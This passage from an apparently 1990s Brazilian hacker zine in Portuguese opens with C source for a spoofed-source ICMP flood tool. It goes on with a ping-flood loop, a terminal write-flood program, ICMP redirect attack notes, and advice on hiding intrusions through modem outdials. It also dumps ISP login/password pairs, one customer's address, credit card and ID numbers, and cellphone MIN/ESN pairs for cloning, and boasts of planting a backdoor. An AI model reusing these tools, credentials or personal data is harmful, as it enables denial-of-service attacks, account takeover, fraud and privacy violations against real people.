#include <netinet/in.h>
#include <netinet/ip_icmp.h>

#define ECHOK_VER "1.4"

/* GENERAL ROUTINES ------------------------------------------- */

void banner(void)
	{
	printf("\n                  * ICMP ECHO Killer [v%s] - by Zakath *", ECHOK_VER);
	   printf("\n               * Code based on works by Crisk & Mike Muuss *\n\n");
	}
	
void usage(const char *progname)
	{
	printf("\nusage:\n  ");
	printf("%s [-f <-n number>] [-s packet size] [-w wait] <spoof> <dest>\n\n",progname);
	printf("\t-f          : enable flooding  (ping -f)\n");
	printf("\t-n <number> : number of pings to send\n");
	printf("\t-s <size>   : ICMP_ECHO Packet Size [Default is 64]\n");
	printf("\t-w <time>   : Wait time between packets [Default is 100]\n");
	   printf("\t<spoof>     : address of fake ICMP packet sender\n");
	printf("\t<dest>      : destination of the flood message\n");
		printf("\n");
	}

/* OPTION PARSING -------------------------------------------- */

unsigned char *dest_name;
unsigned char *spoof_name = NULL;
struct sockaddr_in destaddr, spoofaddr;
unsigned long dest_addr;
unsigned long spoof_addr;
unsigned      pingsize, pingsleep, pingnmbr;
char          flood = 0;
int       x = 1;

/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
	* Our algorithm is simple, using a 32 bit accumulator (sum), we add
	* sequential 16 bit words to it, and at the end, fold back all the
	* carry bits from the top 16 bits into the lower 16 bits.
	*/
    while (nleft > 1)  {
	   sum += *w++;
	   nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
	   *(u_char *)(&answer) = *(u_char *)w ;
	   sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}


/* Nice resolve func. by crisk */
int resolve( const char *name, struct sockaddr_in *addr, int port )
	{
	struct hostent *host;
	
	/* clear everything in case I forget something */
	bzero((char *)addr,sizeof(struct sockaddr_in));
	
	if (( host = gethostbyname(name) ) == NULL )  {
#ifndef RESOLVE_QUIET
	   fprintf(stderr,"unable to resolve host \"%s\" -- ",name);
	   perror("");
#endif
	   return -1;
	}
	 
	addr->sin_family = host->h_addrtype;
	memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
	addr->sin_port = htons(port);
	
	   return 0;
	}

unsigned long addr_to_ulong(struct sockaddr_in *addr)
	{
	return addr->sin_addr.s_addr;
	}


int resolve_one(const char *name, unsigned long *addr, const char *desc)
	{
	   struct sockaddr_in tempaddr;
	if (resolve(name, &tempaddr,0) == -1) {
	   printf("error: can't resolve the %s.\n",desc);
	   return -1;
	}
		  
	*addr = tempaddr.sin_addr.s_addr;
		return 0;
	}

int resolve_all(const char *dest,
		const char *spoof)
	{
	   if (resolve_one(dest,&dest_addr,"dest address")) return -1;
	if (spoof!=NULL) 
	  if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;
	
	spoofaddr.sin_addr.s_addr = spoof_addr;
	   spoofaddr.sin_family = AF_INET;
	destaddr.sin_addr.s_addr = dest_addr;
	destaddr.sin_family      = AF_INET;
	}
	
void give_info(void)
	{
	printf("# target address          : %s (%s)\n",dest_name,inet_ntoa(dest_addr));
	printf("# spoof-from address      : %s (%s)\n\n",spoof_name,inet_ntoa(spoof_addr));
	if (pingnmbr) printf("# number of packets       : %u\n",(pingnmbr));
	printf("# icmp echo packet size   : %u\n",(pingsize+36));
	   printf("# wait time between send  : %u\n\n", pingsleep);
	}

int parse_args(int argc, char *argv[]) 
	{
	   int opt;
	
	char *endptr;
	
	while ((opt=getopt(argc, argv, "fn:s:w:")) != -1)  {
	   switch(opt)  {
		 case 'f': flood = 1; break;
		 case 'n': pingnmbr = strtoul(optarg,&endptr,10);
				 if (*endptr != '\0')  {
				 printf("%s: Invalid Number '%s'.\n", argv[0], optarg);
			   return -1;
				}
			   break;
		 case 's': pingsize = strtoul(optarg,&endptr,10);
				 if (*endptr != '\0')  {
				 printf("%s: Bad Packet Size '%s'\n", argv[0], optarg);
				 return -1;
				}
			   break;
		 case 'w': pingsleep = strtoul(optarg,&endptr,10);
				 if (*endptr != '\0')  {
				 printf("%s: Bad Wait Time '%s'\n", argv[0], optarg);
				 return -1;
				}
			   break;
		 case '?':
		 case ':': return -1; break;
	   }
	  
	}
	    
	if (optind > argc-2)  {
	   printf("%s: missing parameters\n",argv[0]);
	   return -1;
	}
	   
	   if (!pingsize)
		pingsize = 28;
	   else
		pingsize = pingsize - 36 ;

	   if (!pingsleep)
		pingsleep = 100;

	spoof_name = argv[optind++];
	dest_name = argv[optind++];
	
	return 0;                     
	}

/*
 * icmp_echo_send()
 * builds and sends an ICMP unreachable packet. Since ICMP unreachable packets
 * contain the IP header + 64 bits of original datagram, we create a bogus
 * IP header and the first 64 bits of a TCP header (ports and syn). 
 *
 */

 inline int icmp_echo_send(int                socket, 
			   unsigned long      spoof_addr,
			   unsigned long      t_addr,
			   unsigned           pingsize)
	{
	unsigned char packet[5122];
	struct iphdr   *ip;
	struct icmphdr *icmp;
	struct iphdr   *origip;
	   unsigned char  *data;

	   int i;
	
	ip = (struct iphdr *)packet;
	icmp = (struct icmphdr *)(packet+IPHDRSIZE);
	origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
	data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);
	
	memset(packet, 0, 5122);
	
/*   ip->saddr    = spoof_addr; */
	ip->version  = 4;
	ip->ihl      = 5; 
	ip->ttl      = 255-random()%15;
	ip->protocol = IPPROTO_ICMP;
	ip->tot_len  = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);
	
	   bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));
	   bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr)); 

	ip->check    = in_cksum(packet,IPHDRSIZE);
	
/*        origip->saddr    = t_addr;   this is the 'original' header. */
	origip->version  = 4;
	origip->ihl      = 5;
	origip->ttl      = ip->ttl - random()%15;
	origip->protocol = IPPROTO_TCP; 
	origip->tot_len  = IPHDRSIZE + 30; 
	origip->id       = random()%69;
	
	   bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));

		origip->check = in_cksum(origip,IPHDRSIZE);
	
	*((unsigned int *)data)          = htons(pingsize);

	/* 'original IP header + 64 bits (of bogus TCP header)' made. */
	
	icmp->type = 8; /* should be 3 */
	icmp->code = 0;
	
	icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);

	return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,
			 (struct sockaddr *)&destaddr,sizeof(struct sockaddr)); 
	
	/* ICMP packet is now over the net. */
	
	}

/* MAIN ------------------------------------------------------ */

void main(int argc, char *argv[])
	{
	   int s, i;
	   int floodloop;
	
		banner();
	   
	if (parse_args(argc,argv)) 
	  {  
		usage(argv[0]); 
		return;
	  }
	
	resolve_all(dest_name, spoof_name);
	give_info();
		
		s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

#ifdef IP_HDRINCL
	fprintf(stderr,"We have IP_HDRINCL! =] \n\n");
	if (setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
		{
		  perror("setsockopt IP_HDRINCL");
		  exit(1);
		}
#else
	fprintf(stderr,"We don't have IP_HDRINCL! =[\n\n");
#endif


	
	   if (!flood)
	  {
		if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
		{
		   printf("%s: error sending ping packet\n",argv[0]); perror(""); return;
		}
	  }
	else
	  {
		   floodloop = 0;
		   if ( pingnmbr && (pingnmbr > 0) )
		   {
			printf("flooding... packet limit set.\n");
			for (i=0;i<pingnmbr;i++)
		  {
		 if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
		    {
		    printf("%s: error sending packet\n",argv[0]); perror(""); return; 
		    }
		 usleep((pingsleep*1000));               

		    if (!(floodloop = (floodloop+1)%25)) 
		  { fprintf(stdout,"."); fflush(stdout); 
		    }
		
		  }
			printf("flooding completed - %u packets sent.\n", pingnmbr);
		   }
		   else {
			printf("flooding. each dot equals 25 packets.\n");
			for (i=0;i<1;i)
		  {
		 if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
		    {
		    printf("%s: error sending packet\n",argv[0]); perror(""); return; 
		    }
		 usleep(900);                  

		    if (!(floodloop = (floodloop+1)%25)) 
		  { fprintf(stdout,"."); fflush(stdout); 
		    }
		
		  }
		   }

	  }
	}
  
  /* --- Cut here ----------------------------------------------------------

  
  (5). Ping floods

	Floods d ping sao muito similares aos de ICMP_ECHO devido ao fato de
  que ambos enviam centenas de pedidos a q o hosts atacado ira responder sem
  perceber qye fazendo isso eles simplesmente ameacam travar todo o sistema!
  Eu acho que um jeito legal de se rodar  isso e com um IP spoofer, assim, o
  computador ira demorar ainda mais tempo para dar um reply a um IP falso, e
  tambem ira fazer o admin fique dificultado de rastrear sua coneccao.
  Um metodo simples seria algo como:

	ping -s 4000 host &
 
  Em sistemas Linux adicione a opcao -f, q ira fazer os pings serem executa-
  dos mais rapidamente.
  Algo tambem interessante:

  #include <stdio.h>
  #include <stdlib.h>

  void main()
  {
    while(1)
      {
	system (ping -s 4000 host);
	sleep(3);
      }
  }

  Um contador tambem pode ser usado para se prevenir  o programa de se rodar
  indefinidamente. E bom rodar a  porra em background pois os  ataques desse
  tipo sao geralmente lentos.


  (6). Ataques ICMP

	Outro metodo usando-se o ICMP tb pode ser feito... Gatewats comumen-
  temente usam redirecionadores de ICMP para dizer ao sistema para sobre-es-
  crever as tabelas d route, o q informa ao sistema q ele deve encontrar uma
  roda melhor p/ seus pacotes :P
  De forma a confundir um redirecionamento do ICMP, nos devemos saber de uma
  conecao pre-existente.. se ela for encontrada, pode-se enviar uma rota que
  ira perder  a conectividade, ou pode-se ainda  enviar falsas  mensagens ao
  host.
  Enviando-se mensagens de erro tais como: Destino falho, TTL execedeu, Pro-
  blemas d parametros, Pacote muito grande, ...
  Dessa forma, e possivel resetar a coneccao.


			    
			    -=-=-=-=-[*]-=-=-=-=-

  
  
  [ Como se proteger ]

	He He He... isso ja e com vcs, mas uma explicacaozinha e dada:
	Vc nunca pode ter certeza de q realmente conseguiu impedir definiti-
  vamente um ataque DoS, principalmente em termos locais, mas em relacao aos
  ataques externos, muito pode-se ser feito...

	Sempre instale os patches apropriados, note que  muitas vezes surgem
  novas versoes que exigem uma atualizacao constante.
	Realize um bom port scanning.. (nada d simplesmente verificar o SER-
  VICES!!). Utilize um scanneador. Voce deve fazer isso regularmente d forma
  a verificar  se alguem instalou algum tipo d backdoor remota.. nao qe isso
  ira impedir backdoors  no seu sistema, mas ja ira  parar grande parte  dos
  lamers. Desative todos os servicos nao utilizados, ou os quais vc nao use.
  Existem varios DoS possiveis que nao  exigem nem que o usuario se logue na
  makina para pratica-los... so como exemplo, cito o Solaris 2.4, ele tem um
  limite do numero de mensagens de erro  ICMP (+- 1 a cada 500ms), isso pode
  causar serios problemas... no entanto, vc pode facilmente solucionar esse
  problema da seguinte forma:

	$ /usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0

  Ja em relacao a ataques locais, basicamente vc pode verificar permissoes d
  arquivos, ou mesmo ter um bom senso e perceber oqe pode e oqe nao pode ser
  usado por alguem p/ prejudicar o sistema.

								    Wiz4rd


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 14 -

			       ---------------
			       - Lame Floods -
			       ---------------

	ZZzzz... pelos meus calculos deve ser 4:30 da manha... eu ja parei
  faz tempo de olhar  o relogio... saco cheio... tedio.. tedio... ah.... tem
  dias a unica vontade que  nos temos e' de pegar um lamer metido a hacker e
  tacar na bunda dele ate o sistema dizer chega.. DoS?  Nao.. he he... o DoS
  simplesmente trava a  maquina.. e legal ver  o desespero na cara do lamer,
  e legal ver ele se debater ate finalmente  desistir e puxar o fio do tele-
  fone do modem.. he he.. realmente to sem saco. entao resolvi fazer isso
  pra pegar no sono..
	Nao quero de forma alguma comecar a entrar em detalhes extremamente
  tecnicos e teoricos a respeito de seguranca informatica pois isso e um sa-
  co.. o tal zine RWX faz isso... a questao e q exploits e patches podem ser
  encontrados em centenas d listas d segurancas como CERT, BUGTRAQ, ... e eu
  nao to afim d copiar mais uns poucos bugs porq os putos admins simplesmen-
  te tem preguica de procurar... o pessoal tem a tendencia d confudir a MOS
  como apenas um grupo de "hackers"... nao.. nos nao destruimos sistemas, e
  os sistemas q invadimos estamo sempre prontos a auxiliar... so q esse zine
  nao e nenhum  pouco dedicado a seguranca.. ja existe gente cuidando disso.

  
  (1). Write Floods

	Hmm..  write () e a coisa mais escrota q ja inventaram.. bom.. nosso
  lamer hacker e esperto, ele le AXUR05 todo dia e visita  sempre a BugTraq,
  esta atualizado.. entao ele todo confiante te da uma shellzinha la no host
  dele e dexa vc dar uma olhada.. Isso pouco gente sabe, mas quando voce  da
  um 'mesg n', simplesmente gera um flag q e testado pelo 'write' toda vez q
  vc o roda..  se for 'y' ele envia a mensagem, se for 'n', ela e bloqueada.
  Acontece q se vc enviar direto pro tty, s/ se preocupar com as setagens, d
  nada adianta o 'mesg n'... Flagin SuX.

/* 
   Wrtflood
   (c) 1997, Wyz4rd [MOS].
   Comments to: mos@thepentagon.com
   Plzea, l3arn portuguese.

   Another lamaware wroted on a boring night...
   This shit has a little problem.. it's good to run it on
   background but don't force it via 'fg' or the flood will
   be interrupted until you back to it.
   To make the guy craise insert a sleep (1) hehehe... >=)   
   P.s.: I shit on this code fuck boys.. wait more on Phrack :P

   Wrtlood.c
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>

main (int argc, char *argv [])
{
 FILE *fp; 
 int Cont;

 if (argc < 3)
   {
    printf ("\nWrtflood");
    printf ("\n(c) 1997, by Wiz4rd [MOS].\n");
    printf ("\nSintax: wrtflood [/dev/ttyX] [frase] [# de vezes]\n"); 
      exit (-1); }

 fp = fopen (argv [1], "r+b");
 if (fp == NULL)
   {
     printf ("\nError ascessing %s", argv [1]);
     printf ("\nAborting...\n");
       exit (-1); }

 printf ("\nFlooding ...\n");
 for (Cont = atoi (argv [3]); Cont != 0; Cont --)
    {
      fprintf (fp, " %s", argv [2]);
     }
 fclose (fp);
 printf ("Ok!\n");
}

  
  (2). Talk Floods

	Esse e um saco alem de se executar remoto... no caso  do cara bobear
  ele com certeza  vai travar legal.. O talk request da uma interrupcao gos-
  tosa... tipo.. se  o cara tiver  varias secoes  abertas, todas com o mesmo
  user e IP (obvio..) hehe..  exitem scripts para mIRC qe fazem  isso.. eles
  atacam usuarios Unix... e bem interessante.
  E simples escrever-se um shell script que ira executar um loop e floodar o
  cara com um monte d talks.. o segredo e', alem d rodar o programa em back-
  ground, fazer com qe apos cada request ele gere um ^C d forma a nao ser tb
  floodado junto com o cara.

								    Wiz4rd


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 15 -

			    ---------------------
			    - Internet Outdials -
			    ---------------------


	Ok, aki vai uma breve explicacao d uma das inumeras ferramentas q vc
  pode usar d forma a manter sua conta telefonica num nivel aceitavel, ou de
  melhorar sua seguranca em invasoes "perigosas".

	Internet Outdials (aki vamos trata-las como IO) sao basicamente, mo-
  dems conhectados  a hosts telnet, q podem  ser usados por outras  pessoas,
  p/ ligar para outros lugares...
					      
   ----------           ------------------  /  Outras
  | PC (voce | ----->  |  Host c/ outdial | -  partes 
   ----------           ------------------  \ do mundo

  Note que no caso, se o  hosts oferece outdials  apenas para  seus usuarios
  locais, entao voce nao podera utiliza-lo... infelismente, grande parte dos
  outdials sao configurados dessa forma, assim, e necessario "forcar" o sis-
  tema para nos obedecer :)
  Uma visualizacao simples d um sistema d outdial, d forma a vc entender co-
  como eles sao possiveis, seria assim:

    -    ------    -------  /     Dessa forma, voce poderia por  exemplo rodar um
   | HOST |--| MODEM | --    telnet, e ascessar o host atraves da sua inter-
    ------    -------  \     face com a Internet. Depois, voce  simplesmente
  ----|-----                 usa algum programa de comunicacao  disponibili-
 | ETHERNET |                zado pelo host.. (minicom :P  ), e pode  discar
  ----------                 a vontade usando a interface do modem...
       |
 I N T E R N E T
   
	Geralmente, os outdials  sao restritos a executarem  apenas chamadas    
  locais, muitos deles usam um recurso que impede q certos afixos sejam usa-
  dos, ou mesmo q ueja possuem em default alguns primeiros numeros, e vc ira
  apenas completar a sequencia para ligar.. por exemplo.. suponha que o host
  tenha em defaul o numero (011) xxx-xxxx, dessa forma, voce ira completar a
  sequencia dos "x"'s, mas o 011 ja o imped d tentar realizar um DDD ou DDI.
  Existem no entanto excessoes, cujos sistemas sao chamados Global OutDials,
  (GOD), e permitem q vc realize chamadas ao redor  do globo. Nunca abuse de
  um outdial, pois eles sao raros e seus respectivos admins nao irao pensar
  2x antes d fecha-los ao publico...
	Eu ja vi sistemas, qe possibilitavam a implantacao d um outdial, e o
  admin nao tinha sequer tomado conhecimento do perigo.. por exemplo, o host
  possui conectado a  ele, alem da  placa Ethernet, um modem, que  podia ser
  usado facilmente com qualquer script... :P
  He He He.. acho q eles nunca viram tantos zeros na conta telefonica dakele
  mes  =)  .

	Okz, geralmente ascessa-se o outdial conectando-se a seu respectivo
  host via telnet, e entrando-se algum comando q ira ativa-lo.. normalmente
  o comando e algo como ATDT xxxxxx...
	Se voce for puto lamer do caralho, voce ainda esta c perguntando pra
  que diabos voce vai usar um IO... existem centenas de coisas que podem ser
  feitas.. Atraves deles vc pode ligar p/ BBS distantes, ao preco d chamadas
  locais, mantendo assim sua conta telefonica a um nivel aceitavel...
  Voce tambem  deve usa-los para evitar rastreamento no caso de invasoes pe-
  rigosas, vc pode por exemplo ascessar o outdial, e atraves dele ligar para
  outro provedor do outro lado do mundo... uma invasao direta ao seu digamos
  "alvo", e perigoso pois a telefonica pode rastrear sua chamada em minutos.
  Imagine a cara dos bundoes quando tentarem rastrear uma chamada q e origi-
  naria do Japao ... HAHA.. bansai.
  
	E interessantes q vc nao divulgue, ou apenas troque os outdials q vc
  por ventura descobrir.. eles sao raros e muito preciosos, assim, se alguem
  comecar a abusar, o admin simplesmente o cancelara...

								    Wiz4rd


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 16 -

			 --------------------------- 
			 - Seguranca Fisica Basica -
			 ---------------------------

	Muito no q c refere a seguranca da informacao, pode ser resolvido c/
  minimo d know-how, s/ ao menos precisar-se utilizar d tecnicas complexas d
  programacao... assim, sem querer entrar em aspectos tecnicos, discutiremos
  superficialmente as formas d segurar-se um centro d computacao. Note q aki
  nao estamos tratando d simples PCs, mas d mainframes d grande porte, q lo-
  calizam-se em  firmas e outras instituicoes governamentais, cujas informa-
  coes valem mais do que  toda instalacao ao seu redor. Isso pode parecer de
  pouca importancia, mas deve ser levado em consideracao quando tem-se a se-
  guranca como meta principal.
  Muitas das  tecnicas aki descritas  sao adotadas por exemplo, pelo governo
  americano  e outras  instituicoes  ao  redor do  globo. Assim, abram  seus
  buffers e deixem a informacao entrar...

	As secretas "residencias" dos  micros, ou digamos, os  secretos Cen-
  tros de Computacao, devem ser similares a qualquer tipo d edificio ou casa
  ao seu redor, deve-se dar o minimo de indicacao de seu proposito e do q se
  passa la dentro..
  Nao se deve haver nenhum tipo de sinalizacao obvia que indiquem atividades
  computacinais interna ou externamento dos Centros (predios).
 
	Os lobby's presentes no predio, e os telefones da firma presentes na
  lista nao devem identificar atividades relacionadas a computadores, exceto
  no caso de escritorios e areas de recepcao que serao posicionadas longe da
  area d operacao, e irao servir a futuros visitantes e "fregueses".
  Barreiras fisicas tais como cercas, guardas, devem-se manter discretas mas
  no entanto visiveis, desencorajando possiveis roubos e invasoes que possam
  prejudicas o desenvolvimento e a seguranca do Centro.
  Um perfil simples, reduz valores promocionais d negocios, e a inconvenien-
  cia d visitantes, vendedores, e outras pessoas 4q tem uma necessidade real
  d achar empresas ligadas a computacao.

	Limitar-se o  ascesso a informacao e a dados do computador tbem pro-
  duz um grande aumento  na seguranca. De forma a fazer isso, pode-se elimi-
  niar o  ascesso dial-up ao computador pois  assim ele se  torna exposto  a
  qualquer pessoa mal-intencionada do mundo. Para nao se ser tao radical, e
  mais simples q se limite entao, pequenos periodos de tempo em qe o ascesso
  sera aberto, durante esse periodo, certos arquivos nao estaram disponiveis
  aos "visitantes". Ou entao, dando-se ascesso dial-up a um pequeno computa-
  dor que pode ser usado pelos funcionarios, d forma a evitar-se a exposicao
  do mainframe q e o coracao...
  Pode-se tb apelar para recursos mais sofisticados como Call backs, ou mes-
  mo como um protocolo proprio d comunicacao do modem.
  Em suma, deve-see limitar a exposicao do sistema privando-se certos arqs e
  comandos perigosos d serem ascessados.

	Na tentativa d controlar o  conhecimento (arquivos, textos off-line,
  ...) as transacoes e acoes  que um usuario em particular  pode e deve exe-
  cutar, sao limitadas. O que o  empregado pode ou mesmo  deve saber, e con-
  trolado baseado em seu cargo dentro do Centro,
	Os logs devem ser mantidos a todo custo d forma a ter-se um conheci-
  mento sobre oq esta ocorrendo ao sistema, principalmente logs d erro. Eles
  podem detectar faltas disciplinares ou  mesmo tentativas d invasao ao sis-
  tema. Deve-se implantar metodos de  salvamento dos logs, como  por exemplo
  imprimi-los a cada tantas horas, ou algo assim...

	Deve-se prevenir os usuarios de realizarem atos nao autorizados tais
  como: examinar arquivos d outros, e usar comandos relacionados ao sistema.
  Devido ao fato d os comandos do sistema serem controlados pelo computador,
  eles podem ser mal utilizados e  provocar um  serio problema ao  andamento
  das operacoes.
	Deve-se  restringir a abilidade do empregado ao  executar seu traba-
  lho, ainda mais no caso de programadores, essa restringencia pode produzir
  a reducao de produtividade e aumentar o nivel de frustacao... no entanto a
  seguranca tende a ser maior. Determinar quais comandos devem ser restritos
  e algo q consome um tempo relativamente grande.
  Se possivel, veja constantemente logs do sistema na checagem d seu uso in-
  devido.

								    Wiz4rd


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 17 -

		    -------------------------------------
		    - Tomo I: "Mandic e o Queijo Suico" -
		    -------------------------------------

	Antes de comecar com a linda historia, queremos agradecer a Mandic a
  Mandic(http://www.mandic.com.br) por ter sido tao gentil e nos cedido seus
  computadores e pessoal, de forma a q pudessemos realizar tamanha proeza, e
  tbem queremos agradecer ao Jean da Brasirc(http://www.brasirc.com.br), por
  sua imensa cooperacao com o pessoal da MOS... divirtam-se...
	Nada pessoal, mas todo mundo sabe qe a boa e velha Mandic tem alguns
  poucos furos... pensando-se um pouco poderiamos compara-la a... hmmm... qe
  tal um queijo suico?
  P.s.: eu sei q nos pregamos a nao-publicacao d senhas d ascesso, no entan-
  to, a Mandic e famosa pelas altas taxas q cobra d seus usuarios.. bem.. ta
  na hora d pegarmos a grana d volta hehe..

  L: jucimar   P: amanda
  L: tpiza     P: amanda
  L: rgoldbac  P: amanda
  L: raldiba   P: amanda
  L: areal     P: brasil
  L: spb       P: brasil
  L: vimf      P: californ
  L: ataide    P: calvin
  L: mgl       P: carlos
  L: jedu      P: carlos
  L: claude    P: cristina
  L: cristgl   P: cristina
  L: valmirj   P: eng
  L: beneton   P: isabel
  L: luquinha  P: lucas
  L: dim       P: maria
  L: izael     P: monica
  L: nell      P: nelson
  L: zes       P: rodrigo
  L: seculoxx  P: silver

  Interessante nao? Bom.. agora, vamos dar uma pequena aprofundada em um dos 
  varios buracos da Mandic... q tal... sim.. um bando d dados... (ok lamers,
  tentem visualisar.. imaginem como no filme "Hackers".. Ascessing Garbaged
  hehehe... okz.. vamos la.. todos visualisando...) voce ascessa o bando de
  dados.. UAU! Quanta gente... vamos escolher alguem... hmm.. q tal...
 
  Nome              : Rosana Baarini
  Endereco          : Rua Japao, n. 85 apt.132
  Cidade            : Sao Paulo - SP
  CEP.              : 04530 - 070
  Profissao         : Assitente de marketing
  Nascimento        : 16/03/68
  Fone residencial  : (011) 280-7074
  Fone/Fax comercial: (011) 852-7522
  CC#               : Visa, Numero: 4011.3001.6089.8014
  Validade          : 10/98
  Data de cobranca  : todo dia 2
  RG.               : 18106148-x
  CIC.              : 153577268-92

	Ho Ho Ho! Feliz Ano Novo Rosana!! He He He..
	E claro.. as transacoes sao ultra-seguras... a Mandic  possui tecni-
  cos altamente treinados... anos d experiencia... mas... oq sera que da pra
  fazer com essas informacoes hein? Hmmm.. visualisem... estou discando para
  o Guinsu... sim.. 3 laptops por favor.... ok... entrega? Hmmmm... acho que
  vou entregar pro bom e velho amigo Alek!.... q Alek? Sim!
  O Alek palhaco, rei da Mandic.... hein? endereco? Ok.. anota ai....
  Consultando banco d dados da Mandic.. hmmm..

  mandic:
  am0513416811:
  func:Aleksandar Mandic:Rua Marcus Pereira 37 ap. 11A:
  Sao Paulo:sp:05642020:
  Empresario::
  870-0888:
  76521834800::
  :cartao:150896:
  
  Ho Ho Ho.. pena q Sr. Alek ja tenha mudado sua senha.. :P
  Nos estavamos pensando em divulgar o cartao de credito de nosso amigo Alek
  mas achamos que  ele vai preferir receber um lindo tapete vermelho na casa
  dele.. akeles do leilao da TV a Cabo hehe... :)

		    
		    --------------------------------------
		    - Tomo II: "Telesp e o Queijo Suico" -
		    --------------------------------------

	Realmente nao estamos com saco de entrar em detalhes sobre o funcio-
  namento e/ou clonagem d celulares... vamos deixar isso para uma proxima e-
  dicao... assim os lamers tem tempo de tentarem publicar  um texto sobre  o
  mesmo  assunto, na  nossa  frente, e  ficarem com os  creditos pela merda.
  Bom.. todos sabem que um celular para operar, precisa d um par habilitado,
  d ESN/MIN. Gracas a maravilhosa Telesp, vamos disponibilizar algo interes-
  sante.. hmmm.. vamos ver...

		      *** MIN *********** *** ESN *****
		      *                  *            *
		      * 1. 018 981 3924  *  A8152FE9  *
		      * 2. 017 974 4324  *  C3047D3F  *
		      * 3. 016 985 6179  *  E09E833D  *
		      *                  *            *
		      ********************************

							      Wiz4rd/Kosmos


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 18 -

		     -----------------------------------                    
		     - Algumas notas aos Admins porcos -
		     -----------------------------------
	
	Vou contar uma historia real q aconteceu uma vez... o fato se deu em
  um dos infindaveis e inseguros hosts japoneses. Devido a depois o admin de
  la ter  se desculpado, e ate me dado uma conta no sistema, vou preservar a
  identidade da vitima =)

       Eu estava escaneando alguns hosts japoneses ate q finalmente achei um
  qe me interessava. Afim d verificar alguns dados, dei um telnet no sistema
  e sem demora vi q era um SunOS... hmmm.. merdinha... em 2 minutos entrei e
  rootei sem maiores dificuldades.
  Como o de sempre, instalei uma backdoor simples no sistema, dei uma olhada
  e fui embora. Algumas semanas depois, percebi qe minha backdoor tinha sido
  retirada do sistema...
  
  Bom... e por causa de filhas-da-puta assim qe varios hosts sao destruidos.
  Vamos pensar: Ao inves do puto tentar descobrir  como eu entrei e invadi a
  porra do sistema, ele preferiu simplesmente me chutar!
  ESSE e o problema! O cara pensa simplesmente em nos chutar, sem perceber q
  assim q quisessemos, voltariamos la e invadiriamos d novo...

       Oq eu vejo, e q a maioria das pessoas decentes qe invadem um sistema,
  nao  querem  destruir nada... apenas ver, garantir o ascesso e sair... sao
  pessoas amaveis que irao se dispor a  lhe ajudar, caso vce os aborde-os da
  maneira correta. Uma ideia interessantes seria voce lhe oferecer uma conta
  real no sistema.... em troca, vc poderia pedir para que ele conserta-se as
  falhas do seu sistema, ou coisa assim... ou seja, e uma convivencia salda-
  vel a ambos!

       No MIT, eles tinham contas guest's nas makinas deles... varios  caras
  simplesmente entravam la e pegavam root. Oq eles fizeram? Nada! Porq?
  Se vc pode  pegar root  na maquina, e porq tinha experiencia, e nunca iria
  destruir um sistema por sadismo. E pura perda d tempo.

  (NOTA: O sistema do MIT foi fechado a  varios anos pois algumas pessoas os
  estavam usando para ascessar  outros computadores... mesmo assim, isso foi
  besteira pois antes o MIT poderia ter um controle d quem fazia o q, quando
  e onde.. agora os putos c fuderam pois os caras c expalharam  pelo  mundo,
  continuam invadindo os sistemas, com a diferencia d q agora, o MIT e o FBI
  simplesmente perderam rastro do pessoal...)

       No Brasil isso tb ocorre.. ja varias pessoas c queixando dq invadiram
  um certo sistema, e *enviaram um mail ao admin*, alertando-o do  problema,
  o puto simplesmente cortava o ascesso do sistema e bania o cara.... muitas
  vezes  nem chegava a  consertar a falha!!! Entao vem os lamers dizerem que
  hackers & Cia sao destrutivos... bah! destrutiva e' a inteligencia  desses
  roots....
  Como disse  o  cara no Policy.. a negada precisa parar de contratar paren-
  tes pra trabalhar no sistema, e colocar gente decente, q saiba pelo menos
  setar as permissoes corretas na porra dos arquivos... :P

								    Wiz4rd


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 19 -

			     ------------------
			     - Phreak Basic's -
			     ------------------

	Antes de mais nada: o correto e P H R E A K , me da nojo ver pheark, 
  pherak, phacker, pharek, phrack, phrek  e coisas desse tipo... tb existe o
  PHRACK, que e a  mistura de HACK + PHREAK... Se voce nao e um burro total,
